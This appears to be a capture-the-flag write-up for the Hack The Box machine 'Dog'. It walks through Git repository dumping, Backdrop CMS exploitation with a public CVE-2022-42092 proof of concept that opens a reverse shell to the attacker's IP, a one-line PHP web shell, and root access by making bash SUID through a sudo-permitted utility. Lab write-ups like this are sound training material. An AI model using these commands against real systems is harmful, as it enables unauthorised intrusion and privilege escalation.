// htb writeup Hack The Box 2026-02-25
Dog
HackTheBox Easy Hack The Box
root obtained // PWNED

🐾 Machine Name: Dog

image (6)

Platform: Hack The Box
IP Address: 10.10.11.58
Difficulty: Easy Linux


🧭 Overview

Dog is a well-designed box that focuses on web exploitation, Git enumeration, and privilege escalation through a misconfigured PHP utility. Key highlights include Git repository dumping, CMS exploitation (Backdrop CMS), user pivoting via SSH, and privesc via the bee PHP utility. This box also taught the value of using pipx for clean Python tool installation on Kali Linux.


🔍 Enumeration

🔎 Nmap

nmap -p- dog.htb --min-rate 10000
nmap -p 22,80 dog.htb -sCV -oN nmapscan

🕵️ Web Enumeration

robots.txt

curl http://dog.htb/robots.txt

Git Repo Dump

Used pipx to install git-dumper cleanly:

pipx install git-dumper

✅ Very important — pipx solved long-standing pip issues on Kali.

Dumped Git repo:

git-dumper http://dog.htb/.git/ dog-git

Extracted username + DB credentials:

tiffany@dog.htb
BackDropJ2024DS2024

🎯 Foothold

CMS Login

<?php
system($_GET['a']);

RCE Achieved

CVE-2022-42092
https://github.com/ajdumanhug/CVE-2022-42092

Used POC:

python3 CVE-2022-42092.py http://dog.htb tiffany BackDropJ2024DS2024 10.10.14.26 9001

✅ Caught reverse shell as www-data.


🚀 Privilege Escalation

User Pivot

/home/johncusack
/home/jobert
ssh johncusack@dog.htb

User flag:

cat /home/johncusack/user.txt

Privesc via bee Utility

sudo /usr/local/bin/bee ev "system('whoami');"
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('chmod u+s /bin/bash');"
bash -p
whoami
root
cat /root/root.txt

🧠 Lessons Learned


Writeup by inksec
GitHub: https://github.com/inkedqt